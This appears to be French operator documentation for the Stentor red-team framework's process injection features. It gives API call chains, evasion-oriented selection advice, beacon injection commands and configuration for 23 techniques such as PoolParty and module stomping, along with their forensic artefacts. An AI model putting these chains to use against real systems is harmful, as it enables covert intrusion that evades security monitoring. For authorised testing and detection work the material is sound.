Aller au contenu

Injection de processus

L'injection de processus est le principal mécanisme de livraison pour les opérations post-exploitation à Stentor. Chaque commande fork-and-run (execute-assembly, powerpick, shspawn, etc.) et chaque commande d'injection explicite (inject, shinject, dllinject) utilise l'une de ces techniques pour exécuter du code dans un processus cible.

Stentor prend en charge 23 techniques d'injection, chacune produisant des artefacts médico-légaux distincts et offrant différents compromis OPSEC. La technique par défaut est CRT (CreateRemoteThread), mais les opérateurs peuvent configurer des alternatives via le profil malléable ou les remplacements par beacon pour les environnements à forte densité EDR.

ATTAQUE À ONGLET&CK

L'injection de processus correspond à T1055 - Injection de processus et à ses sous-techniques. Chaque section technique ci-dessous comprend l'ID de sous-technique spécifique.


Tableau de comparaison OPSEC

Ce tableau fournit une référence rapide pour sélectionner la bonne technique d'injection en fonction de vos exigences OPSEC.

Technique ID Méthode Allocation mémoire Création de thread Niveau OPSEC Idéal pour
crt T1055.003 VirtualAllocEx + WriteProcessMemory + CreateRemoteThread VirtualAllocEx (RW-> RX) Créer un thread distant Laboratoire/tests, compatibilité
ntmap T1055.012 NtCreateSection + NtMapViewOfSection + RtlCreateUserThread Cartographie des sections partagées RtlCreateUserThread Missions standards
setthreadctx T1055.003 Détournement de thread Get/SetThreadContext sur un thread suspendu VirtualAllocEx (RW-> RX) Discussion sur le détournement de RIP Fork-and-run uniquement
queueapc T1055.004 QueueUserAPC early-bird sur le fil suspendu VirtualAllocEx (RW-> RX) APC avant le point d'entrée Fork-and-run uniquement
rtlthread T1055 VirtualAllocEx + WriteProcessMemory + RtlCreateUserThread VirtualAllocEx (RW-> RX) RtlCreateUserThread Contourner les hooks kernel32
selfinject T1055 VirtualAlloc + CreateThread dans le processus en cours VirtualAlloc local (RW->RX) Créer un thread local Auto-injection BOF/beacon
udrl T1620 Chargeur réfléchissant personnalisé ajouté à le payload Contrôlé par l'opérateur Contrôlé par l'opérateur Engagements personnalisés
obfsetthreadctx T1055.003 Créer un thread sur une fonction légitime, puis détourner RIP VirtualAllocEx (RW-> RX) CreateRemoteThread (démarrage falsifié) Évasion EDR
cloneprocess T1055.012 RtlCloneUserProcess + APC sur clone VirtualAllocEx (RW-> RX) APC sur thread cloné Éviter les threads distants
tpdirect T1055 Faux détournement de rappel TP_DIRECT + pool de threads Structure VirtualAllocEx + TP_DIRECT Rappel du pool de threads Environnements à forte densité EDR
earlycascade T1055.012 Processus suspendu + détournement RIP avant chargement de DLL VirtualAllocEx (RW-> RX) Sujet de détournement de RIP avant l'initialisation 5/5 Évasion maximale
tpstartroutinestub T1055 Fausse répartition des travailleurs TP_WORK + pool de threads Structure VirtualAllocEx + TP_WORK Travailleur du pool de threads 5/5 Environnements à forte densité EDR
modulestomp T1055.001 Charger la DLL + écraser la section .text avec le shellcode MEM_IMAGE sauvegardé (DLL signée) Créer un thread distant Évasion du scanner de mémoire
dllinject T1055.001 Conversion sRDI + injection de shellcode VirtualAllocEx (RW-> RX) Injecteur par défaut Chargement de DLL réfléchissant
threadless T1055 Crochet trampoline sur fonction exportée VirtualAllocEx (RW-> RX) Pas de création de fil 5/5 Furtivité maximale
hollowing T1055.012 CreateProcess (SUSPENDED) + remplacer l'image VirtualAllocEx (RW-> RX) Reprendre le fil principal suspendu Remplacement du processus
poolparty_workitem T1055 Insertion de TP_WORK dans le pool de threads cible Structure VirtualAllocEx + TP_WORK Travailleur du pool de threads 5/5 Environnements à forte densité EDR
poolparty_timer T1055 Insertion TP_TIMER dans le pool de threads cible Structure VirtualAllocEx + TP_TIMER Rappel du minuteur du pool de threads 5/5 Environnements à forte densité EDR
poolparty_io T1055 Achèvement de TP_IO dans le pool de threads cible Structure VirtualAllocEx + TP_IO Rappel d’E/S du pool de threads 5/5 Environnements à forte densité EDR
poolparty_alpc T1055 Port TP_ALPC dans le pool de threads cible Structure VirtualAllocEx + TP_ALPC Rappel ALPC du pool de threads 5/5 Environnements à forte densité EDR
cb_fontenum T1055 Déclencheur de shellcode de rappel EnumFontFamiliesEx VirtualAllocEx (RW-> RX) Rappel depuis l'API GDI Évasion basée sur le rappel
cb_timer T1055 Déclencheur de shellcode de rappel CreateTimerQueueTimer VirtualAllocEx (RW-> RX) Rappel de la file d'attente du minuteur Évasion basée sur le rappel
cb_winenum T1055 Déclencheur de shellcode de rappel EnumWindows VirtualAllocEx (RW-> RX) Rappel depuis l'API user32 Évasion basée sur le rappel

Lire le niveau OPSEC

OPSEC Niveau ⅕ = le plus détectable (empreinte d'artefact la plus élevée). OPSEC niveau 5/5 = le moins détectable (empreinte API minimale, chemins d'exécution d'apparence légitime). Plus haut est plus furtif.


Guide de sélection des techniques

Le choix de la bonne technique d'injection dépend des capacités de détection de l'environnement cible. Utilisez ce guide comme point de départ.

Quelle technique dois-je utiliser ?

Labo ou environnement de test : Utilisez crt (par défaut). Compatibilité la plus fiable et la plus large, plus facile à déboguer.

Engagement standard (pas d'EDR) : Utilisez ntmap ou queueapc. Bon équilibre entre furtivité et fiabilité. ntmap évite entièrement VirtualAllocEx/WriteProcessMemory ; queueapc évite CreateRemoteThread.

Environnement à forte intensité EDR : Utilisez tpdirect, tpstartroutinestub ou earlycascade. Ces techniques ont la plus petite empreinte API et s’exécutent via un pool de threads Windows légitime ou des chemins d’initialisation de processus.

Évasion du scanner de mémoire : Utilisez modulestomp. Le shellcode réside dans la mémoire MEM_IMAGE soutenue par une DLL signée, battant ainsi les scanners qui signalent la mémoire exécutable non sauvegardée.

Auto-injection (BOF/beacon en cours) : Utilisez selfinject. Aucune opération inter-processus : le shellcode s'exécute à l'intérieur du processus de beacon lui-même.

Chargeur personnalisé pour environnements uniques : Utilisez udrl. L'opérateur fournit son propre shellcode de chargeur réfléchissant, permettant une personnalisation par engagement sans signature fixe.

Injection sans fil (pas de nouveaux fils) : Utilisez threadless. Accroche une fonction exportée dans le processus cible avec un trampoline - le shellcode s'exécute lorsque la fonction est appelée naturellement. Aucun artefact de création de thread.

Abus de pool de threads (PoolParty) : Utilisez poolparty_workitem, poolparty_timer, poolparty_io ou poolparty_alpc. Ceux-ci détournent les composants internes du pool de threads Windows pour exécuter du shellcode via des chemins de répartition de travailleurs légitimes. Basé sur la recherche PoolParty de SafeBreach Labs.

Injection basée sur un rappel : Utilisez cb_fontenum, cb_timer ou cb_winenum. Déclenchez l'exécution du shellcode via des API de rappel Win32 légitimes (EnumFontFamiliesEx, CreateTimerQueueTimer, EnumWindows). L'exécution du rappel apparaît comme une activité API normale.

Remplacement du processus : Utilisez hollowing. Crée un processus suspendu et remplace son image par un shellcode avant son initialisation. Le shellcode fonctionne comme le fil conducteur d'un processus d'apparence épurée.


Commandes d'injection autonomes

Ces commandes permettent à l'opérateur d'injecter du code dans un processus spécifique par PID. Elles se distinguent des opérations fork-and-run (qui génèrent et s’injectent automatiquement dans un processus sacrificiel).

injecter

Injectez un payload de beacon dans un processus existant par PID. Le backend génère un shellcode pour le listener et l'architecture spécifiés, puis le beacon l'injecte à l'aide de la technique d'injection configurée.

Type de tâche : inject (méthode : inject)

inject <pid> <x86|x64> <listener>

Exemple :

inject 4528 x64 HTTPS
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "inject 4528 x64 HTTPS"}'

OPSEC

inject crée un thread distant dans le processus cible. L'événement Sysmon 8 (CreateRemoteThread) et l'événement 10 (ProcessAccess) se déclencheront. Les produits EDR surveillent généralement l’injection inter-processus. Choisissez soigneusement le processus cible : l'injection dans un navigateur ou un processus Office est moins suspecte que l'injection dans notepad.exe.

shinject

Injectez du shellcode brut (à partir d'un fichier) dans un processus existant par PID. Contrairement à inject, qui génère un shellcode de beacon à partir d'un listener, shinject prend un shellcode arbitraire fourni par l'opérateur.

Type de tâche : inject (méthode : shinject)

shinject <pid> <x86|x64> /path/to/shellcode.bin

Exemple :

shinject 4528 x64 /tmp/custom_shellcode.bin
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "shinject 4528 x64 /tmp/custom_shellcode.bin"}'

OPSEC

Même profil OPSEC que inject. Le backend lit le fichier sur la machine de l'opérateur, l'encode en base64 et l'envoie au beacon pour injection. Le fichier shellcode ne touche jamais le disque cible.

dllinjecter

Injection de DLL réfléchissante via sRDI (injection de DLL réfléchissante Shellcode). La DLL est convertie en shellcode indépendant de la position qui se mappe en mémoire sans utiliser LoadLibrary, puis injectée dans le PID cible.

Type de tâche : inject (méthode : dllinject)

dllinject <pid> /path/to/payload.dll

Exemple :

dllinject 4528 /tmp/beacon.dll
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dllinject 4528 /tmp/beacon.dll"}'

OPSEC

L'injection de DLL réfléchissante (T1055.001) charge une DLL en mémoire sans toucher au disque et sans appeler LoadLibrary. Cependant, la DLL injectée réside dans une mémoire exécutable non sauvegardée, que les analyseurs de mémoire peuvent signaler. Pour une exécution basée sur MEM_IMAGE, utilisez plutôt modulestomp comme technique d'injection.


Configuration

La technique d'injection par défaut et l'allocateur de mémoire sont configurés via le profil malléable au moment de la génération de le payload. Ces valeurs par défaut s'appliquent à toutes les opérations fork-and-run et peuvent être remplacées par beacon.

Paramètres de profil malléable

Le bloc process-inject dans le profil malléable contrôle le comportement d'injection :

Paramètre Valeurs Par défaut Description
set-executemethod CreateRemoteThread, SetThreadContext, RtlCreateUserThread, NtQueueApcThread-s CreateRemoteThread Méthode d'exécution de l'injection primaire
set-allocator VirtualAllocEx, NtMapViewOfSection VirtualAllocEx Stratégie d'allocation de mémoire
set-min_alloc Entier (octets) 4096 Taille d'allocation minimale (remplissage pour éviter les petites allocations qui se démarquent des scanners de mémoire)
set-startrwx true, false false Obsolète. Commencez avec les autorisations RWX. Stentor applique W^X (écriture XOR, exécution) quel que soit ce paramètre.
set-bof_allocator VirtualAlloc, MapViewOfFile, HeapAlloc VirtualAlloc Allocateur de mémoire pour l'exécution de BOF
set-bof_reuse_memory true, false false Réutiliser les allocations de mémoire BOF

Exécuter le mappage de méthode

Les valeurs du profil malléable set-executemethod correspondent aux techniques d'injection Stentor :

Valeur du profil Technique du stentor Remarques
CreateRemoteThread crt Par défaut. Le plus compatible.
SetThreadContext setthreadctx Détournement de threads (fork-and-run uniquement).
RtlCreateUserThread rtlthread Alternative API NT au CRT.
NtQueueApcThread-s queueapc APC anticipé (fork-and-run uniquement).

Techniques avancées

Des techniques telles que tpdirect, tpstartroutinestub, earlycascade, obfsetthreadctx, cloneprocess et modulestomp sont sélectionnées par beacon via le remplacement de la technique d'injection dans les données de la tâche ou la configuration de génération, et non via la méthode d'exécution du profil malléable.

Paramètre MinAlloc

Le paramètre min_alloc assigne des allocations d'injection à une taille minimale. Les petites allocations de mémoire (par exemple, 4 Ko pour une petite payload de shellcode) sont inhabituelles et peuvent être signalées par les analyseurs de mémoire. En définissant min_alloc sur une valeur plus grande (par exemple, 16384 ou 65536), la taille de l'allocation se fond dans les allocations légitimes.

Remplacement par beacon

La technique d'injection peut être remplacée par beacon dans la tâche JSON :

{
  "method": "inject",
  "pid": 4528,
  "shellcode": "<base64>",
  "technique": "ntmap"
}

Le champ technique accepte tout nom de technique enregistré du tableau de comparaison OPSEC ci-dessus.


Référence technique détaillée

Chaque technique ci-dessous inclut sa chaîne d'appels API, ses artefacts médico-légaux, ses limitations et le mappage MITRE ATT&CK.

CRT (Créer un thread distant)

Détails techniques : CRT

ID : crt MITRE ATT&CK : T1055.003 - Détournement de l'exécution des threads

Comment ça marche : Alloue de la mémoire dans le processus distant avec VirtualAllocEx(PAGE_READWRITE), copie le shellcode via WriteProcessMemory, modifie la protection en PAGE_EXECUTE_READ via VirtualProtectEx, puis crée un thread distant à l'adresse du shellcode avec CreateRemoteThread. Tous les appels API sont acheminés via BeaconGate lorsqu'ils sont activés.

Chaîne d'appels API :

  1. VirtualAllocEx(processHandle, PAGE_READWRITE)
  2. WriteProcessMemory(processHandle, shellcode)
  3. VirtualProtectEx(processHandle, PAGE_EXECUTE_READ)
  4. CreateRemoteThread(processHandle, shellcodeAddr)

Artefacts médico-légaux :

  • Événement Sysmon 8 : CreateRemoteThread détecté
  • Événement Sysmon 10 : ProcessAccess avec PROCESS_VM_WRITE
  • Mémoire : transition de protection RW -> RX dans le processus cible
  • ETW : création de thread à partir d'un processus parent inattendu

Limites : Technique la plus surveillée. Chaque produit EDR majeur détecte CreateRemoteThread des appelants non standard. À utiliser uniquement dans des environnements de laboratoire ou lorsque la détection n'est pas un problème.

Prend en charge InjectByPID : Oui - ouvre le processus par PID, injecte, ferme le handle.

Prend en charge InjectByHandle : Oui - injection directe avec le handle de processus existant.

NtMapViewOfSection

Détails techniques : NtMapViewOfSection

ID : ntmap MITRE ATT&CK: T1055.012 - Procédé Creux (variante)

Comment ça marche : Crée une section de mémoire partagée sauvegardée par le fichier d'échange à l'aide de NtCreateSection, mappe une vue inscriptible dans le processus de beacon (NtMapViewOfSection avec PAGE_READWRITE), copie le shellcode dans la vue locale, mappe une vue exécutable dans le processus cible (PAGE_EXECUTE_READ), démappe la vue locale, puis s'exécute via RtlCreateUserThread.

Chaîne d'appels API :

  1. NtCreateSection(PAGE_EXECUTE_READWRITE) -- protection maximale de la section, pas protection de la page
  2. NtMapViewOfSection(local, PAGE_READWRITE) -- vue inscriptible dans le beacon
  3. memcpy vers la vue locale
  4. NtMapViewOfSection(remote, PAGE_EXECUTE_READ) -- vue exécutable dans la cible
  5. NtUnmapViewOfSection(local) -- nettoyage
  6. RtlCreateUserThread(remote, shellcodeAddr)

Artefacts médico-légaux :

  • Création d'objet de section (visible dans le gestionnaire d'objets du noyau)
  • Vue mappée dans le processus cible (pas d'artefact VirtualAllocEx)
  • Création de thread via RtlCreateUserThread (différent de CRT dans ETW)

Limitations : Les objets de section peuvent être visibles par les analyseurs de mémoire avancés. La protection maximale de la section est PAGE_EXECUTE_READWRITE (requis pour la technique), bien que les protections réelles des pages ne soient jamais RWX.

Prend en charge InjectByPID : Oui. Prend en charge InjectByHandle : Oui.

DéfinirThreadContext

Détails techniques : SetThreadContext

ID : setthreadctx MITRE ATT&CK : T1055.003 - Détournement de l'exécution des threads

Comment ça marche : Alloue et écrit le shellcode au processus distant, puis trouve le thread principal du processus enfant suspendu (fork-and-run). Ouvre le thread, appelle GetThreadContext pour capturer l'état actuel du registre, modifie RIP pour pointer vers l'adresse du shellcode et l'applique avec SetThreadContext. Lorsque l'appelant reprend le thread, il exécute le shellcode au lieu du point d'entrée d'origine.

**Chaîne d'appels API :**

1. `VirtualAllocEx` + `WriteProcessMemory` + `VirtualProtectEx`
2. `GetThreadContext(threadHandle, CONTEXT_CONTROL)`
3. Définir `ctx.Rip = shellcodeAddr`
4. `SetThreadContext(threadHandle, ctx)`
5. L'appelant appelle `ResumeThread`

**Artefacts médico-légaux :**

- Mémoire : transition RW -> RX dans le processus cible
- Modification du contexte du thread (détectable via ETW)
- Aucun artefact CreateRemoteThread

**Limitations :** Fonctionne uniquement avec fork-and-run (nécessite un thread principal suspendu). InjectByPID revient à CRT car le piratage de threads dans les processus en cours d'exécution n'est pas fiable : le thread peut détenir des verrous ou être en mode noyau.

**Prend en charge InjectByPID :** Revient au CRT.
**Prend en charge InjectByHandle :** Oui (fork-and-run uniquement).

QueueUserAPC

Détails techniques : QueueUserAPC

ID : queueapc MITRE ATT&CK : T1055.004 - Appel de procédure asynchrone

Comment ça marche : Alloue et écrit le shellcode, trouve le thread principal du processus enfant suspendu, ouvre le thread et met en file d'attente un APC pointant vers l'adresse du shellcode via QueueUserAPC. Lorsque l'appelant reprend le thread, l'APC se déclenche avant le point d'entrée normal du thread - c'est le modèle « early-bird ».

Chaîne d'appels API :

  1. VirtualAllocEx + WriteProcessMemory + VirtualProtectEx
  2. OpenThread(THREAD_SET_CONTEXT)
  3. QueueUserAPC(shellcodeAddr, threadHandle)
  4. L'appelant appelle ResumeThread -- APC se déclenche en premier

Artefacts médico-légaux :

  • Mémoire : transition RW -> RX dans le processus cible
  • Modification de la file d'attente APC (visible dans les structures du noyau)
  • Aucun artefact CreateRemoteThread
  • Early-bird : le shellcode s'exécute avant le point d'entrée du processus

Limitations : Fonctionne de manière fiable uniquement avec fork-and-run (modèle de lève-tôt). Pour InjectByPID, la technique revient à CRT car APC sur les threads existants nécessite un état d'attente pouvant être alerté (SleepEx, WaitForMultipleObjectsEx), qui n'est pas fiable pour les processus arbitraires.

Prend en charge InjectByPID : Revient au CRT. Prend en charge InjectByHandle : Oui (fork-and-run uniquement).

RtlCreateUserThread

Détails techniques : RtlCreateUserThread

ID : rtlthread MITRE ATT&CK : T1055 - Injection de procédé

Comment ça marche : Allocation de mémoire et écriture standard, puis crée un thread distant en utilisant RtlCreateUserThread de ntdll au lieu de CreateRemoteThread de kernel32. Cela contourne les hooks du mode utilisateur que les produits EDR placent sur les exportations kernel32.dll.

Chaîne d'appels API :

  1. VirtualAllocEx + WriteProcessMemory + VirtualProtectEx
  2. RtlCreateUserThread(processHandle, shellcodeAddr)

Artefacts médico-légaux :

  • Mémoire : transition RW -> RX dans le processus cible
  • Création de thread via l'API NT (événement ETW différent du kernel32 CRT)
  • Adresse de début du thread dans la mémoire du processus distant

Limitations : Bien qu'elle contourne les hooks kernel32, l'instrumentation ETW au niveau du noyau enregistre toujours la création du thread. Moins évasive que les techniques qui évitent complètement la création de threads.

Prend en charge InjectByPID : Oui. Prend en charge InjectByHandle : Oui.

Auto-injection

Détails techniques : SelfInject

ID : selfinject MITRE ATT&CK : T1055 - Injection de procédé

Comment ça marche : Alloue de la mémoire dans le processus (beacon) en cours avec VirtualAlloc(PAGE_READWRITE), copie le shellcode, modifie la protection en PAGE_EXECUTE_READ, puis crée un thread local avec CreateThread. Lorsque le transfert par chargement goutte à goutte est activé, utilise DripAlloc pour l'allocation fragmentée de réserve puis de validation afin de réduire les artefacts d'allocation.

**Chaîne d'appels API :**

1. `VirtualAlloc(MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)` -- ou `DripAlloc` si activé
2. `memcpy(shellcode)`
3. `VirtualProtect(PAGE_EXECUTE_READ)` -- ou `DripProtect`
4. `CreateThread(shellcodeAddr)`

**Artefacts médico-légaux :**

- Mémoire : transition RW -> RX dans le processus en cours
- Création d'un nouveau thread (visible dans ETW)
- Aucune implication de processus à distance (pas d'événement Sysmon 8/10)

**Limitations :** Le shellcode s'exécute dans le processus de beacon. Si le shellcode plante, le beacon plante. Impossible d'injecter dans des processus distants -- `InjectByHandle` renvoie une erreur, `InjectByPID` n'accepte que le PID du processus actuel.

**Prend en charge InjectByPID :** Uniquement si le PID correspond au processus en cours.
**Prend en charge InjectByHandle :** Non (renvoie une erreur).

UDRL (chargeur réfléchissant défini par l'utilisateur)

Détails techniques : UDRL

ID : udrl MITRE ATT&CK : T1620 - Chargement de code réfléchissant

Comment ça marche : L'opérateur fournit un shellcode de chargeur réfléchissant personnalisé via un script d'agresseur (SetUDRL()). Le chargeur est ajouté au début de le payload du beacon. Lors de l'injection, le payload combinée (chargeur + beacon) est écrite dans le processus cible. Le thread distant démarre au point d'entrée du chargeur, qui gère son propre mappage PE, sa résolution d'importation et sa relocalisation - en contournant complètement la détection LoadLibrary standard.

Chaîne d'appels API :

  1. Ajouter le shellcode du chargeur à le payload du beacon
  2. VirtualAllocEx(PAGE_READWRITE) via BeaconGate
  3. WriteProcessMemory(loader + beacon) via BeaconGate
  4. Suivre les régions dans BUD (Beacon User Data) pour le masque de sommeil
  5. VirtualProtectEx(PAGE_EXECUTE_READ) via BeaconGate
  6. CreateRemoteThread(loaderAddr) via BeaconGate

Artefacts médico-légaux :

  • Mémoire exécutable non sauvegardée (pas de fichier correspondant sur le disque)
  • Anomalies d'en-tête PE (le chargeur personnalisé peut omettre/modifier les en-têtes)
  • La disposition de la mémoire diffère du chargeur PE standard
  • Contrôlé par l'opérateur : les artefacts varient selon l'implémentation du chargeur

Limitations : Non enregistré par défaut - disponible uniquement lorsque l'opérateur fournit le shellcode du chargeur au moment de l'exécution via SetUDRL(). La qualité et la furtivité du chargeur dépendent entièrement de la mise en œuvre de l'opérateur. Si le chargeur nécessite RWX pour l'auto-modification, la configuration UseRWX peut être définie, mais cela dégrade OPSEC.

Prend en charge InjectByPID : Oui. Prend en charge InjectByHandle : Oui.

SetThreadContext obscurci

Détails techniques : SetThreadContext obscurci

ID : obfsetthreadctx MITRE ATT&CK : T1055.003 - Détournement de l'exécution des threads

Comment ça marche : Contrairement au SetThreadContext standard qui détourne un thread existant, cette technique crée un NOUVEAU thread à une adresse de fonction légitime (par exemple, ntdll!RtlUserThreadStart+0x21) en utilisant CreateRemoteThread avec CREATE_SUSPENDED. L'adresse de début du thread semble légitime pour les outils EDR qui analysent les origines des threads. Après la création, GetThreadContext capture l'état complet du registre, RIP est modifié pour pointer vers le shellcode, SetThreadContext applique la modification et ResumeThread exécute le shellcode.

Chaîne d'appels API :

  1. VirtualAllocEx + WriteProcessMemory + VirtualProtectEx
  2. Résoudre ntdll!RtlUserThreadStart+0x21 dans le processus distant
  3. CreateRemoteThread(processHandle, legitimateAddr, CREATE_SUSPENDED)
  4. GetThreadContext(threadHandle, CONTEXT_FULL)
  5. Définir ctx.Rip = shellcodeAddr
  6. SetThreadContext(threadHandle, ctx)
  7. ResumeThread(threadHandle)

Artefacts médico-légaux :

  • Sujet créé à une adresse légitime basée sur une image (plus difficile à détecter)
  • Mémoire : transition RW -> RX dans le processus cible
  • Modification du contexte du thread (détectable via ETW)
  • Appel CreateRemoteThread présent, mais l'adresse de départ semble légitime

Limitations : Nécessite ntdll ou kernel32 pour une résolution d'adresses inter-processus fiable (ASLR est par démarrage pour les DLL système, donc les adresses correspondent entre les processus). Les autres modules ne sont pas pris en charge pour l'adresse de départ.

Prend en charge InjectByPID : Oui. Prend en charge InjectByHandle : Oui.

Processus de clonage

Détails techniques : CloneProcess

ID : cloneprocess MITRE ATT&CK: T1055.012 - Procédé Creux (variante)

Comment ça marche : Utilise RtlCloneUserProcess pour créer une copie d'un processus cible avec un thread principal suspendu. Le shellcode est écrit dans le clone à l'aide d'une allocation standard, puis un appel QueueUserAPC cible le thread principal du clone. Lorsque ResumeThread est appelé, l'APC se déclenche et le shellcode s'exécute dans le processus cloné. Cela évite de créer des threads distants dans les processus existants.

Chaîne d'appels API :

  1. RtlCloneUserProcess(CREATE_SUSPENDED | NO_SYNCHRONIZE)
  2. Extraire les poignées de processus/thread de clonage
  3. VirtualAllocEx + WriteProcessMemory + VirtualProtectEx dans le clone
  4. QueueUserAPC(shellcodeAddr, cloneThread)
  5. ResumeThread(cloneThread)

Artefacts médico-légaux :

  • Création de clone de processus (appel RtlCloneUserProcess inhabituel)
  • Mémoire : transition RW -> RX dans un processus cloné
  • Modification de la file d'attente APC sur le thread principal du clone
  • Aucun artefact CreateRemoteThread dans les processus existants

Limitations : Nécessite Windows 10+ (disponibilité RtlCloneUserProcess). Revient au CRT sur les anciennes versions. Le processus cloné est une copie du processus en cours, ce qui peut être suspect si le beacon s'exécute comme un exécutable inhabituel.

Prend en charge InjectByPID : Oui (ouvre le processus, puis clone). Prend en charge InjectByHandle : Oui.

TP_DIRECT (pool de threads direct)

Détails techniques : TP_DIRECT

ID : tpdirect MITRE ATT&CK : T1055 - Injection de procédé

Comment ça marche : Basé sur la recherche PoolParty de SafeBreach Labs. Alloue le shellcode dans le processus distant, puis crée une fausse structure TP_DIRECT avec son pointeur de rappel au décalage 0x08 pointant vers l'adresse du shellcode. Le shellcode (RX) et la structure TP_DIRECT (RW) sont écrits dans le processus cible. Un thread distant est créé pour s'exécuter via le chemin de rappel du pool de threads, faisant apparaître l'exécution comme un élément de travail légitime du pool de threads.

Chaîne d'appels API :

  1. VirtualAllocEx + WriteProcessMemory + VirtualProtectEx (shellcode, RX)
  2. Construire une fausse structure TP_DIRECT (rappel = adresse du shellcode)
  3. VirtualAllocEx(PAGE_READWRITE) pour la structure TP_DIRECT
  4. WriteProcessMemory (TP_DIRECT vers la cible)
  5. CreateRemoteThread(shellcodeAddr, tpDirectAddr) -- répartition du pool de threads

Artefacts médico-légaux :

  • Mémoire : transition RW -> RX pour le shellcode
  • Allocation RW supplémentaire pour la fausse structure TP_DIRECT
  • Création de threads à distance ciblant l'infrastructure du pool de threads
  • L'exécution du rappel du pool de threads apparaît comme une activité de travail légitime

Limitations : La disposition de la structure TP_DIRECT est spécifique à la version (rappel au décalage 0x08 sous Windows 10/11 x64). Peut tomber en panne sur les futures versions de Windows si la disposition de la structure interne change.

Prend en charge InjectByPID : Oui. Prend en charge InjectByHandle : Oui.

DébutCascade

Détails techniques : EarlyCascade

ID : earlycascade MITRE ATT&CK: T1055.012 - Procédé Creux (variante)

Comment ça marche : Crée un processus dans un état suspendu (CREATE_SUSPENDED | CREATE_NO_WINDOW) et détourne son chemin d'initialisation avant le chargement de toute DLL. À ce stade, RIP pointe vers RtlUserThreadStart ou ntdll!LdrInitializeThunk -- la toute première instruction du mode utilisateur. La technique écrit le shellcode, modifie RIP via SetThreadContext et l'appelant reprend le thread. Le shellcode s'exécute dans la fenêtre « première cascade » avant l'initialisation de ntdll, le chargement de DLL, les rappels TLS ou tout hook du mode utilisateur sont actifs.

**Chaîne d'appels API :**

1. `VirtualAllocEx` + `WriteProcessMemory` + `VirtualProtectEx`
2. `GetThreadContext(CONTEXT_CONTROL)` -- capture RIP avant l'exécution de tout code
3. Définir `ctx.Rip = shellcodeAddr`
4. `SetThreadContext(threadHandle, ctx)`
5. `ResumeThread` -- le shellcode s'exécute avant l'initialisation de ntdll

Pour `InjectByPID`, la technique en plus :

1. `CreateProcessW(rundll32.exe, CREATE_SUSPENDED | CREATE_NO_WINDOW)`
2. Injecter via `InjectByHandle`
3. `ResumeThread`

**Artefacts médico-légaux :**

- Création de processus suspendue (indicateur `CREATE_SUSPENDED`)
- Mémoire : transition RW -> RX dans le processus cible
- Modification du contexte du thread avant la première instruction
- Le point d'entrée ne s'exécute jamais (se distingue de l'exécution normale)

**Limitations :** Pour `InjectByPID`, utilise `rundll32.exe` comme processus sacrificiel par défaut. Cela peut être personnalisé via la configuration de spawn-to. Si l’injection échoue, le processus suspendu est terminé pour éviter les processus orphelins.

**Prend en charge InjectByPID :** Oui (crée un nouveau processus suspendu).
**Prend en charge InjectByHandle :** Oui (fork-and-run).

TpStartRoutineStub

Détails techniques : TpStartRoutineStub

ID : tpstartroutinestub MITRE ATT&CK : T1055 - Injection de procédé

Comment ça marche : Basé sur la variante 7 de PoolParty (SafeBreach Labs). Crée une fausse structure TP_WORK dont le pointeur CleanupGroupMember.Callback (au décalage 0x40) pointe vers le shellcode. Le champ Task LIST_ENTRY (au décalage 0x20) est initialisé en tant que liste à double lien auto-référencée pour éviter les plantages. La structure est écrite dans le processus cible et un thread distant est créé avec le shellcode comme point d'entrée et le pointeur TP_WORK comme paramètre, simulant la façon dont TppWorkerThread distribue les éléments de travail via TpStartRoutineStub.

Chaîne d'appels API :

  1. VirtualAllocEx + WriteProcessMemory + VirtualProtectEx (shellcode, RX)
  2. Construisez une fausse structure TP_WORK (0x68 octets) :
    • Décalage 0x20 : tâche LIST_ENTRY (Flink/Blink auto-référencé)
    • Décalage 0x40 : CleanupGroupMember.Callback = adresse du shellcode
  3. VirtualAllocEx(PAGE_READWRITE) pour la structure TP_WORK
  4. WriteProcessMemory (TP_WORK vers la cible)
  5. CreateRemoteThread(shellcodeAddr, tpWorkAddr) -- répartition des travailleurs

Artefacts médico-légaux :

  • Mémoire : transition RW -> RX pour le shellcode
  • Allocation RW supplémentaire pour la fausse structure TP_WORK
  • Création de threads à distance ciblant l'infrastructure du pool de threads
  • L’exécution de l’élément de travail du pool de threads apparaît comme une activité de travail légitime

Limitations : La disposition de la structure TP_WORK est spécifique à la version (rappel au décalage 0x40, tâche au décalage 0x20 sous Windows 10/11 x64). Contrairement à tpdirect qui manipule les structures de pool existantes, cette technique crée de nouveaux éléments de travail, qui peuvent être détectables par une surveillance avancée en mode noyau.

Prend en charge InjectByPID : Oui. Prend en charge InjectByHandle : Oui.

Module piétinant

Détails techniques : Module Stomping

ID : modulestomp MITRE ATT&CK : T1055.001 - Injection de bibliothèque de liens dynamiques (variante)

Comment ça marche : Charge une DLL signée légitime dans le processus distant via CreateRemoteThread(LoadLibraryW), puis écrase sa section .text avec le shellcode. Le résultat est un shellcode soutenu par la mémoire MEM_IMAGE qui semble résider dans un module chargé légitime. Cela élimine les scanners de mémoire qui signalent la mémoire exécutable non sauvegardée.

**Chaîne d'appels API :**

1. Charger la DLL localement pour analyser l'en-tête PE (trouver le décalage et la taille .text)
2. Écrire le chemin de la DLL (UTF-16) vers le processus distant
3. `CreateRemoteThread(LoadLibraryW, pathAddr)` -- charger la DLL dans la cible
4. `WaitForSingleObject` (attendre le chargement de la DLL)
5. Énumérer les modules distants pour trouver l'adresse de base de la DLL
6. `VirtualProtectEx(.text, PAGE_READWRITE)`
7. `WriteProcessMemory(.text, shellcode)`
8. `VirtualProtectEx(.text, PAGE_EXECUTE_READ)`
9. Nettoyer la mémoire du chemin distant

**Artefacts médico-légaux :**

- Chargement de DLL dans un processus distant (DLL légitime et signée)
- Modification de la protection de la mémoire sur la section .text
- Le shellcode apparaît sous la forme MEM_IMAGE soutenu par le module signé
- Thread distant pour LoadLibraryW (modèle d'API commun)

